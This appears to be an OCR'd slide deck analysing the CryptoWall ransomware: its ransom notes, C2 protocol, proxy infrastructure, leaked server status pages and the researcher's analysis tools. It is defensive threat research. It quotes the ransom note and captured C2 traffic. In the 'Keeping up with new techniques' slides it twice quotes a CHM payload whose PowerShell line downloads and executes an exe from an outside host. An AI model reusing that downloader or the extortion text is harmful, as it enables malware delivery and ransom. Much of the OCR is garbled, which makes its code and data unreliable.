. Jwznopdyiumhiak j.allepohelpto.com -
. JwznSp2yiumhiak j.barklpaypartners.com/ |G

. dwznbp2yliumhiak j.maverickpaypariners.com/ -

)
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Authors are becoming quite confident about themselves

Cannot you find the files you need?
Is the content of the files that you have watched not readable?
It is normal because the files' names, as well as the data in your files have been encrypted.

Congratulations!!!
You have become a part of large community CryptoWall.

What is encryption?
Encryption is a reversible transformation of information in order to conceal it from unauthorized persons but providing at the same time access to it for authorized users. To
become an authorized user and make the process truly reversible i.e. to be able to decrypt your files you need to have a special private key.
In addition to the private key you need the decryption software with which you can decrypt your files and return everything in its place.

£ y)
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Authors are becoming quite confident about themselves

Unfortunately, these sites are temporary because the antivirus companies are interested that you cannot restore your files but continue to buy their products.

Unlike them we are ready to help you always.

If the temporary sites are not available and you need our help:

1. Run your Internet browser (if you do not know what it is run the Internet Explorer).

2. Enter or copy the address into the address bar htips://www.torproject.org/download/download-easy.html.en your browser and press ENTER.

. Wait for the site loading

. On the site you will be offered to download TorBrowser; download and run it, follow the installation instructions, wait until the installation is completed.
. Run Tor-Browser.

. Connect with the button Connect (if you use the English version).

. After initialization a normal Internet browser window will be opened.

. Type or copy the address 3wznSp2yiumh7akj.onion/1QdmeRO in this browser address bar.

. If for some reason the site is not loading, wait a moment and try again.

If you have any problems during installation or operation of TorBrowser, please, visit www.youtube.com and type request in the search bar "install tor browser
windows". As a result you will see a training video on TorBrowser installation and operation.

If TOR address was unavailable for a long time (2-3 days) it means you were late; on average you have about 2 weeks after reading the instructions to restore your

a . |
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Authors are becoming quite confident about themselves
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Additional information:
Instructions to restore your files are only in those folders where you have encrypted files.
For your convenience the instructions are made in three file formats - html, txt, and png.
Unfortunately, antivirus companies cannot protect and moreover restore your files but they make things worse removing the instructions to restore encrypted files.
The instructions are not malwares; they have informative nature only, so any claims on the absence of any instruction files you can send to your antivirus company.

CryptoWall Project is not malicious and is not intended to harm a person and his/her information data.

The project is conducted for the sole purpose of instruction in the field of information security, as well as certification of antivirus products for their suitability for data protection.
Together we make the Internet a better and safer place.

Remember that the worst has already happened and now the further life of your files depends directly on your determination and speed of your actions.

If TOR address was unavailable for a long time (2-3 days) it means you were late; on average you have about 2 weeks after reading the instructions to restore your

A 2.
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Authors are becoming quite confident about themselves

What happened to your files?

All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0
More information about the encryption keys using RSA-2048 can be found here: hitp://en.wikipedia.org/wiki/RSA (cryptosystem)

What does this mean?

This means that the structure and data within your files have been irrevocably changed, you will not be able to work
with them, read them or see them, itis the same thing as losing them forever, but with our help, you can restore them.

How did this happen?

Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.
All your files were encrypted with the public key, which has been transferred to your computer via the Internet.
Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.

Whatdo | do?

Alas, if you do nottake the necessary measures for the specified time then the conditions for obtaining the private key will be changed.
If you really value your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.

For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below:

1. ayhZmSirux jtwydS. payoptior
2. ayhZmS/rux jTwydS. paytoga

A
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Communication protocol: slightly updated

POST /051qYV.php?w=egw@8th5kll HTTP/1.1
Accept: */*

Content-Type: application/x-www-form-urlencoded

Connection: Close

Content-Length: 115

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCCZ2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET
CLR 3.0.30729; Media Center PC 6.0)

Host: frc-conf.com

Cache-Control: no-cache

1=6bba37366c386cb@cda717f6284cfb@fb9d507cO9bec757282128c4e34605d99bca9e95b299¢591a206a211f5856dd43c4c3e98680123b1e59HTTP/1.1 200 OK
Server: nginx/1.6.2

Date: Thu, @5 Nov 2015 13:04:50 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

X-Powered-By: PHP/5.3.13

e
cb@f9e2a712a89
7
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Communication protocol: slightly updated

POST /051qgYV.php?w=egw@8th5kl1l HTTP/1.1

$ksum = 0;
* $ka = str_split($inp_data);
User ($ka A5 $nm=>$ch) { $ksum SIS HEN NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727:; .NET CLR 3.5.30729; .NET

CLR
Ny $data_found = substr($data_found, $ksum);

Cache

1=6bba37366c386cb@cda717f6284cfb@fb9d507cO9bec757282128c4e34605d99bca9e95b299¢591a206a211f5856dd43c4c3e98680123b1e59HTTP/1.1 200 OK
Server: nginx/1.6.2

Date: Thu, @5 Nov 2015 13:04:50 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

X-Powered-By: PHP/5.3.13

e
cb@f9e2a712a89
7
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Communication protocol: slightly updated

POST /051qgYV.php?w=egw@8th5kl1l HTTP/1.1

¢$ksum = 0; def decrypt_data(scrambled _key, data):
$ka = str_split($inp_data); key = ''.join(sorted(list(scrambled_key)))

User. ($ka $nm=>$ch) { $ksum (int)%$ch; } encr_data = None

CLR 3
s $data_found = substr($data_found, $ksum); len(data) % 2:
Cache encr_data - data.decode('hex"')

1=6b6a37366c386ch@cda7l7f6284cfbOfbId507cObec?57282128cde pd_offset = sum([ int(i) i in re.findall(r'\d', key)l) Brhasm

Server: nginx/1.6.2 encr_data = datalpd_offset:].decode('hex")

Date: Thu, 05 Nov 2015 13:04:50 GMT

Content-Type: text/html; charset=utf-8 decr_data - rc4(encr_data, key)
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/5.3.13

decr_data

e
cb@f9e2a712a89
0
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The learn, and profit from every ‘discovery’

» CryptoLocker clone: They learned from the takedown and burned the name
» CryptoDefense: They learned from the crypto flaw, recovered and reimplemented

* CryptoWall 1.0: They learned from frequent takedowns in their infrastructure, they adapted
C2 infrastructure

» CryptoWall 2.0: They improved, tested Tor and i2p communication but found low results;
back to the original and used hacked sites as proxies.

» CryptoWall 3.0: A publication showed some insight into their setup, they killed the setup
renewed to the version-less "“4”
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The learn, and profit from every ‘discovery’

These guys are smart, they adapt quickly and frequently.

\{
¢
¢ o ¢

PAONN 2012 2013 2014 PAONES 2016 2017

If you find flaws, refrain from publishing them in TLP:WHITE. If you want to
share details | suggest doing it with trusted partners (or trust groups).
They monitor closely who publishes what about them and fix any issue
that was spotted.

You don’'t want to give them free pentesting and/or advice.

)
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3. Infrastructure setup
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Infrastructure setup

Privoxy

I
-‘-

Backend
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Infrastructure setup

Privoxy

I
-‘-

— Backend
Infected client check-ins
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Infrastructure setup

Privoxy

A

a.-.?\»

Payment site = ol

— Backend
Infected client check-ins
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Infrastructure setup

Privoxy

an 4~

KX
-‘-

Operator panel

A

a.-.?\»

Payment site = ol

— Backend
Infected client check-ins
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Infrastructure setup

Privoxy

| Enter » |

perator panel

a = ol

Payment site = ol

— Backend
Infected client check-ins
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Infrastructure setup

Privoxy

| Enter » |

perator panel

a - I\/Iore

Payment site = ol

— Backend
Infected client check-ins
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Infrastructure setup: proxy all the things!

- There are proxies everywhere in the CryptoWall infrastructure
- Exploration down this rabbit hole ends up at one hidden service
+ Seems to be the mothership, but could be another proxy of course.

Some other information on their setup:

* Proxies run NGINX + Privoxy to upstream to specified hidden services
within Tor. The onion address is hardcoded in the configurations.

» Backend (the furthest point | got in this endless rabbit hole) runs
Debian with Apache, PHP and a MySQL database.

a The Story of CryptoWall: a historical analysis of a large scale cryptographic ransomware threat 3 Infrastructure setup



Infrastructure setup: Validation

Validation for the requests are implemented at various steps. Per layer
(tier) these are their checks (for infected clients communicating):

Tier 1 - Compromised website CURL proxy: Validated the requests by
decrypting the actual request data.

Tier 2 - NGINX + Privoxy: Validates slightly (server-status pages are blocked
f.e) with simple filtering

» Tier 3 - Backend: Parses full request to be valid to prep a response

The payment wall and affiliate wall bears filtering similar to Tier 2.
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Logo

Efyus BT NEFR EJES MEDE

Service to decrypt the files.

Your personal code not defined.
Please, enter your personal code.

Personal code:

Note: Personal Code - you can find in HELP_DECRYPT.TXT file

Submit personal code

)
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Logo

Edus BT NEFR EZES MSDE

Service to decrypt the files.

Your personal code not defined.
Please, enter your personal code.

Personal code:

Note: Personal Code - you can find in HELP_DECRYPT.TXT file

Submit personal code

)
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Logo

@ SIMIO GRAPHICS =3 simiographics.com

http://simiographics.deviantart.com/art/Secure-lcons-162217765

\\’
A 2
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Infrastructure insight

Si @ v ) crptarvdheu2dijy ondon/srver-status/ il ke

Apache Server Status for sditfgey4z3c6q3a.onion

Server Version: Apache/2.2.22 (Debian) PHP/5.4.4-14+deb7ul4
Server Built: JTul 24 2014 15:34:00

Current Time: Tuesday, 21-Oct-2014 09:31:22 EEST
Restart Tune: Thursday, 18-Sep-2014 23:01:23 EEST
Parent Server Generation: 5

Server uptime: 32 days 10 hours 29 minutes 59 seconds
Total accesses: 2444119 - Total Traffic: 204.2 MB

CPU Usage: u526.46 s45.57 cu.73 ¢s0 - .0204% CPU load
872 requests/sec - 76 B/second - 87 B/request

1 requests currently being processed, 9 1dle workers

Scoreboard Key:

" " Waiting for Connection, "s" Starting up, "R" Reading Request,
"w'" Sending Reply, "k'" Keepalive (read), "p" DNS Lookup,

"c" Closing connection, "L'" Logging, "¢" Gracefully finishing,

"1" Idle cleanup of worker, ". " Open slot with no current process

Srv PID Acc M CPU SS Req Conn Child Slot Client VHost Request
- 0/0/188414 . 0.00 028 0 00 0.00 1l6.45:1 localhost OPTIONS * HTTP/1.0
0477 0/957/189994  0.20 2 9 0.0 017 17.21127.0.0.1 localhost POST /rqurkuhl4sgx HTTP/1.0
0401 0/953/184497 _ 10.34 3¢ 9 00 017 16.04127.0.0.1 localhost POST /5354kv0djvl HTTP/1.0
0492 0/954/177563 _ 10.62 4: 14 0.0 0.18 15.69127.0.0.1 localhost POST /81el956wig3vdqs HTTP/1.0

0/1018
0417
M7 183352
0/1004

9421 i _ 946 9 00 0.16 13.88127.0.0.1 localhost POST /etl§lnonxl HTTP/1.0

0493 0/957/122796 _ 8.63 0.0 : 11.74 127.0.0.1 localhost GET /decrypt_service/dz10g4 HTTP/1.0

09431 ?1'_118360 1179 2 9 00 019 11.79 127.0.0.1 localhost POST /iq34pOprhp HTTP/1.0

W10.32 0.0 15 1576 127.0.0.1 localhost GET /server-status/ HT'TP/1.0

)
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Infrastructure insight

St @~ 9 @ crptarvdhou2dijy onion/server-status/ C |2~

Apache Server Status for sditfgey4z3c6q3a.onion

Server Version: Apache/2.2.22 (Debian) PHP/5.4.4-14+deb7ul4
Server Built: JTul 24 2014 15:34:00

Charrent Time: Tuesdav. 21-Oct-2014 09:31:22 FEST

St @ v > crptarvdheu2diyy ondon/srver-statug/ |-

Apache Server Status for sdittgey4z3c6q3a.onion

Server Version: Apache/2.2.22 (Debian) PHP/5.4.4-14+deb7ul4
Server Budt: Jul 24 2014 15:34:00

) ) - C ; Request
0/0/188414 . 0.00 13928 0 : : .45 HTTP/1.0
0477 0/957/189994 _ 0.20 28 9 : 17 17.21 127.0.0.1 localhost POST /rqurkuhl4sgx HTTP/1.0
0491 0/953/184497 _ 10.34 39 9 : 17 16.04 127.0.0.1 localhost POST /5354kv0divl HTTP/1.0
0492 0/954/177563 _ 10.62 45 14 0. : 15.69 127.0.0.1 localhost POST /81el956wig3vdqs HTTP/1.0

_ 0/1018
/183352
0/1004

0421 163340 946 C : 16 13.88 127.0.0.1 localhost POST /etlSlnonxl HTTP/1.0

041 W10.32 0 . 15 1576 127.0.0.1 localhost GET /server-status/ HT'TP/1.0

0403 0/957/122796 _ 8.63 : : 11.74 127.0.0.1 localhost GET /decrypt_service/dz10g4 HTTP/1.0

/1002 ) ; .
0431 01_118300 _11.79 2: C : 19 11.79 127.0.0.1 localhost POST /iq34pOprhp HTTP/1.0

)
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Infrastructure insight

St @~ e crparvdheu2dijy ondon/srver-status/ C|ER-

Apache Server Status for sditfgey4z3c6q3a.onion

Server Version: Apache/2.2.22 (Debian) PHP/5.4.4-14+deb7ul4
Server Built: JTul 24 2014 15:34:00

Charrent Time: Tuesdav. 21-Oct-2014 09:31:22 FEST

St @ v =S crptarvdhov2diyy onton/srver-statns

-

Apache Server Status for sdittgey4z3c6q3a.onion

Server Version: Apache/2.2.22 (Debian) PHP/5.4.4-14+deb7ul4
Server Buit: Jul 24 2014 15:34:00

) - C : Request
0/0/188414 . 0.00 13928 0 : : .45 HTTP/1.0
0477 0/957/189994  0.20 2 9 : 17 17.21 127.0.0.1 localhost POST /rquikuhl4sgx HTTP/1.0
0491 0/953/184497  10.34 3¢ 9 : 17 16.04 127.0.0.1 localhost POST /5354kv0divl HTTP/1.0
0492 0/954/177563 _ 10.62 45 14 0. . 15.69 127.0.0.1 localhost POST /81el956wig3vdqs HTTP/1.0

0/1018
0417
M7 183352
0/1004

9421 163340 _ 946 ¢ : 16 13.88 127.0.0.1 localhost POST /etl8nonxl HTTP/1.0

W 10.32 : 15 15.76 127.0.0.1 localhost GET /server-status/ HT'TP/1.0

0403 0/957/122796 _ 8.63 : : 11.74 127.0.0.1 localhost GET /decrypt_service/dz10g4 HTTP/1.0

/1002 ) ; .
0431 01_118(8)0 0 _11.79 2. C . 19 11.79 127.0.0.1 localhost POST /iq34pOprhp HTTP/1.0

)
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Messages from the author? (or packer author)

RAY

RUA

BBl 3B40

fafara4 2DO A

VUVl 3L8Y
Buv13CCH
BBv13Du8n
Bun13D40
HBn13D8H
Buu13DCH
Huv13EBD
HBB13E40
BBB13ESH
BBB13ECH
BBv13F80
13 F40
HBB13F8H
BBB13FCH
k1408080
14040
14680
#8B148CH

415140

fAafaA4 I 4 OfFa

Bu41528v
Bu4152CH
8415300
415340
HB415380
HBu4153CH
415480
415440
HB415480
H84154CH
8415500
415540
BB415580
HBu4155CH
Hu415600
HB415640
HB415680
B84156CH

=TI im@ 716 %10 —16 110 £10 16 m@ tn® <(m@ &m@ EnG

2p@ dpE BE €ErE €sB &nE "n® Pn@ ::n@ ThBE E‘Q F0E o BpE
Im@ "mE JmE 6mE Tfo® 0B 2nE mE ® {In® an® on®@ ANnE

Hel"e iS our C["){Pt BA ‘BA CBA BA CA »CA CA DA GDA pDA +c@ 640

®Hl@ n>A pcB AM Time in seconds sinc

e UIC 1/1/78: z1d Enter the size of the array Here
is our crypt? Avira, shut up and listen?! CorExitProcess m s
C O » e e d 1 1 punf Iime ennm TLNSS omnmnn SING ery

or DO g - ' an attemp
©o.leed JAVIra, shut up and listen! ;5.5
ﬂttempt €U USc Tilollh CUUE 1101 LI4S asSSciiyiy during native code

initialization This indicates a bug in vyour application. It is m
ost likely the result of calling an MSIL—-compiled (/cl»)> functio

n from a native constructor or from DllMain. R6BW32 - not eno
ugh space for locale information R6BA31 - Attempt to 1init
ialize the CRT more than once. This indicates a bug in your appl
ication. R6BA38 — CRT not initialized R6028 — unable to 1
nitialize heap R6027 - not enough space for lowio initiali
zation R6B26 — not enough space for stdio initialization
R60825 - pure virtual function call R6B24 - not enough
space for _onexit/atexit table R60A19? - unable to open cons
ole device R6BA18 - unexpected heap error R6BA17 - une

Yonathan Klijnsma |
Interesting 'message’ towards @Avira in the latest #CryptoWall #ransomware samples put in by the

authors....

A
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Keeping up with new techniques

November 2014

g‘ powertool +9 Follow
. ithurricanept

Run calc.exe via open Chm file, no UAC
warning and no av detects! Sample :
mega.co.nz/#tRkkFLwY!lvww...

% Help Dermo

) &

=
FET 512 el AFU3A0)

BAQ | #-0-kW | B3 | 5|

] Contents .
1 Introduction Run calc.exe via open

=] Chapter 2
& Chapte Chm file!

_| Eol=] o || =] 2%
EFR(V) REE) ~LTH)

@i1thumcanept

A

a The Story of CryptoWall: a historical analysis of a large scale cryptographic ransomware threat 4. Interesting Discoveries




Keeping up with new techniques

November 2014

R powertool -8 Yonathan Klijnsma

February 2015

v

ithurricanept i~ ydklijnsma

Run calc.exe via open Chm file, no U Latest campaign from the #CryptoWall gang
warning and no av detects! Sample | abuses @ithurricanept's CHM download-

mega.co.nz/#tRkkFLwY!vww... >exec POC malwr.com/analysis/NTRhM...

veb-content/imgl. php7a=3cmZ3X5tnlyT1 HTTP/1.1

Eg Help Demo | E-Type: application/x-www-form-urlencoded
tion: Close

= t-Length: 92
LE mv gent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1;
27; NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

IFFT [5]EH E'] A723°40) F ipperguides. com

< id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa@@3b7all" width=1
height=1>
< name="Command"” value="ShortCut"™>
< name="Button"” value="Bitmap::shortcut”>
< name="Iteml" value=",cmd,/c powershell (New-Object System.Net.
- WebClient).DownloadFile( 'http://kovpro.com/putty.exe’, "¥TEMP¥\natmasla2.exe")
control: no-cac ; (New-Object -com Shell.Application).ShellExecute( '¥TEMPX\natmasla2.exe’)">
- : : < name="Item2" value="273,1,1">
. " 8042140e9d3 </ >
BiR(C) | ¥-0—Rk(N) | 123R(S) ‘ " | .1 200 OK
wed, 18 Feb 20 44T GMT CSCRIFE
: Apache e
= Accept-Encoding C: : |[)
£] Contents ampaign
D vi jle!!lc/H0>

- tion: close
1 ntroduction Run calc.exe via 5o shunked , T
.E;'I Chapter 2 167h 50m 225

Chm file!"! eI asz 0TS S T

SE AT

Refresh § Payment § FAQ § Decrypt 1 file for FREE Suppert
. M g > We are present a special software - CryptoWall Decrypter - which is allow 1o decrypt and retumn control 10 all your encrypted files
w 10 buy CryptoWall decrypter?
o || =] 2% . . -
Ithumcanept | ; :

FFN) B|/EE) ALTH) tAnis S ' bitcoin

1 u should register Bitcon wallet (click here for more information with pictures)

60 .. e77b245 768949584(26 . - 3 3 7 . llaa 2. PurcMsingBil:oins-Al'to.oghAil'sno(yﬁmynobuybhcoins.i(sgeﬁngsimpl«w«yday.

Here are our recommendations
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Keeping up with new techniques

< name="Command” value="ShortCut”>
< name="Button” value="Bitmap::shortcut™>
< name="Iteml"” value=",cmd,/c powershell (New-Object System.Net.

WebClient).DownloadFile( "http://kovpro.com/putty.exe’, "ATEMPX\natmasla2.exe")
; (New-Object -com Shell.Application).ShellExecute( ATEMPX\natmasla2.exe")">

< name="Item2" value="273,1,1">
</ >
< >
x.Click();
</ >

{A name=contents>

<H2 align=cent2r>Run calc.exe via open Chm file!!!</H2>
<

<

><[A>
ALIGN=CENTER>@ithurricanept</H>><P>

</ >

</ >
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Angry developers?

00421050 KurvaStr
00421C6 606

- 084211004
- 8421008
- 8421000
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A slip-up: a trace to the authors

A resource file was downloaded by this really early CryptoWall variant.
The resource contains something really interesting which points towards
the possible authors.
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A slip-up: a trace to the authors

GET /wp-content/themes/us.bin HTTP/1.1

User-Agent: Mozilla/4.0@ (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: grupoconsultoresjuridicos.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Wed, 06 Nov 2013 23:37:10 GMT

Server: Apache/2.2.25 (Unix) mod_ssl/2.2.25 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Last-Modified: Mon, @4 Nov 2013 23:36:37 GMT

ETag: "1b01126-28594-4e06263240544"

Accept-Ranges: bytes

Content-Length: 165268

Content-Type: application/octet-stream

XX
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A slip-up: a trace to the authors

RtIDecompressBuffer

DWORD checksum

DWORD size

UCHAR data * size

a
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A slip-up: a trace to the authors

solaris: yonathan$ python ~/Documents/Projects/cryptowall/decompress-cryptolocker-clone-bundle.py us_4.bin.out ./decomped_file
[+] Found new fileblob 1in container
- Checksum: @x8df196bc

_ Size: 1259 solaris:decomped_file yonathan$ file *
[+] Found new fileblob in container @.bin: PNG i1mage data, 271 x 88, 8-bit colormap, non-interlaced
_ Checksum: ©x2c989a55 1.bin: PNG 1image data, 114 x 30, 8-bit colormap, non-interlaced
_ Size: 3272 10.bin: PNG image data, 92 x 14, 8-bit/color RGBA, non-interlaced
[+] Found new fileblob in container 11.bin: PNG 1image data, 81 x 33, 8-bit/color RGBA, non-interlaced
_ Checksum: ©x90age8cc 12.bin: PNG 1image data, 37 x 37, 8-bit/color RGBA, non-interlaced
_ Size: 205 13.bin: PNG image data, 30 x 40, 8-bit/color RGBA, non-interlaced
[+] Found new fileblob in container 14.bin: PNG image data, 87 x 35, 8-bit/color RGBA, non-interlaced
- Checksum: Oxb7def142 15.bin: PNG 1image data, 36 x 35, 8-bit/color RGBA, non-interlaced
- Size: 2715 16.bin: PNG 1mage data, 36 x 45, 8-bit/color RGBA, non-interlaced
17.bin: PNG image data, 52 x 33, 8-bit/color RGBA, non-interlaced

18.b1in: PNG image data, 103 x 29 8-bit/color RGBA non-interlaced
19.bin: PNG 1image data, 107 x 18, 8-bit/color RGBA, non-interlaced
2.bin: PNG 1image data, 7 x 8, 8-bit/color RGBA, non-interlaced
20.bin: PNG 1mage data, 272 x 41, 8-bit/color RGBA, non-interlaced
21.bin: PNG 1image data, 107 x 25, 8-bit/color RGBA, non-interlaced
22.bin: PNG 1image data, 104 x 22, 8-bit/color RGBA, non-interlaced
23.bin: PNG 1mage data, 32 x 32, 8-bit colormap, non-interlaced

24 .bin: ASCII text, with CRLF, CR 1line terminators
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A slip-up: a trace to the authors
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A slip-up: a trace to the authors : Reveton!

v Your ID-Address: %GET_IP%

\WW/'1\"’.1. i *
’?‘ _H.* P - 7,«_ . o o
U» The IC ‘ Ve | frme Center Your Location: %GET_COUNTRY%
> v xt‘*\ N Your City: %GET_CITY%

I ZONEALARM

10.bin.png

esE)

11.bin.png

To unlock your computer and to avoid other legal consequences, you are obligated to pay a release fee of %GET_LOCK_AMOUNT% USD
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> 16.bin.png 17.bin.png
You can get MoneyPak from hundreds of thousands of global locations, from wallets, from St TA .
kiosks and ATMs. - alus.
Exchange your cash for a MoneyPak vouchers and use your voucher code in form below. Waiting for Payment
48:00:00 r' ‘
Code: B ‘ '
B Microsoft \
0 1 2 3 4 5 6 7 8 9 “«— Video-recording: L J
All illegal activities conducted through your computer have been 22.bin.png 23.bin.png

recorded in the police database, including photos and videos from
your camera for further identification. You have been registered by
viewing pornography involving minors.
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A slip-up: a trace to the authors : Reveton!
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Tools



Tools

've created a few tools to aid in the analysis of CryptoWall (infections):

- a CryptoWall request decrypter
- a CryptoWall client
- a CryptoWall server
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Tools

Yonathan Klijnsma
; ydklijnsma | |
(infections):

If people could stop posting their crappy
Open source #ransomware for "educational

've created

RO hose". There's enough ransomware to
R\ deal with already.

:_d : : ) I “'D"d"ml; - . | :‘3 ’ ) l‘l.’...l'l |I":.‘I|" :..::] i ;“L l : [: E'l' ;' ’ -
’ Q™
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Tools: CryptoWall request decrypter

Allows you to decrypt individual requests and responses made by
infected clients. You provide the request key and the request or
response data:

python cryptowall-post-decoder.py <request key> <request/response
data>
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Tools: CryptoWall request decrypter

python cryptowall-post-decoder.py vob9xevad95e)
37t51e98e2b5516638237800ff0cadab/76e98521313a53555ee9d
8575695ac0d80bc1335162dd6979b23tb5fb11443708ac8be520
6

{7|crypt19| | 3| all=28}
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Tools: CryptoWall client

Allows you to communicate with the C2 server(s) directly or via a
compromised site proxy.

Can set communication components from the command line or in an
interactive terminal mode.
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Tools: CryptoWall client

Usage: cryptowall-client.py [options]

Exploring commands send / received
Options:

-h, --help show this help message and exit NOI"ma| I)’ sSseen com mand5:
-1, -Interactive  Discard any parameters set, go into interactive mode Cllent regiSter

-r, -randomize-profile
- Get resource blob

Randomize the profile input (system ID, IP address)
-s SYSTEMLID, --systemid=SYSTEM_ID
- Client command request

System ID used to uniquely identify this 'infection’
-f FILE_COUNT, —filecount=FILE_COUNT

o U1 b W N —
|

The amount of files that were ‘encrypted to report to
e o) unknown
-a IP_ADDRESS, --ipaddress=IP_ADDRESS
The IP address to report this infection came from un kn ownin
-c C2_SERVER, --c2-server=C2_SERVER _
Command and control server to communicate to (without un kn owh
http:// or trailing slash) _ 1
-n, --no-storage  Disables storage of the 'infection’ profiles 7 I C I lient get key
-p PROFILE_LOCATION, —-profile-path=PROFILE_LOCATION 72 _ C I|ent conﬁ rms ke), M D5
Location to store the profile files (contains public
key, payment ID, country and payment onion) 73 - RePO rt ﬁles IN
-V, -verbose Enables verbose output
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Tools

All these tools are available from my Github repository:

https://github.com/0x3a/cryptowall
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A thank you to some friends

+ Brad from malware-traffic-analysis.net (For his freely available data)
* Nick Hoffman from Morphick Inc (for sharing old CryptoWall samples)
» @techhelplistcom (sharing data and continued work)

+ More (unnamed) people, you know who you are!

)
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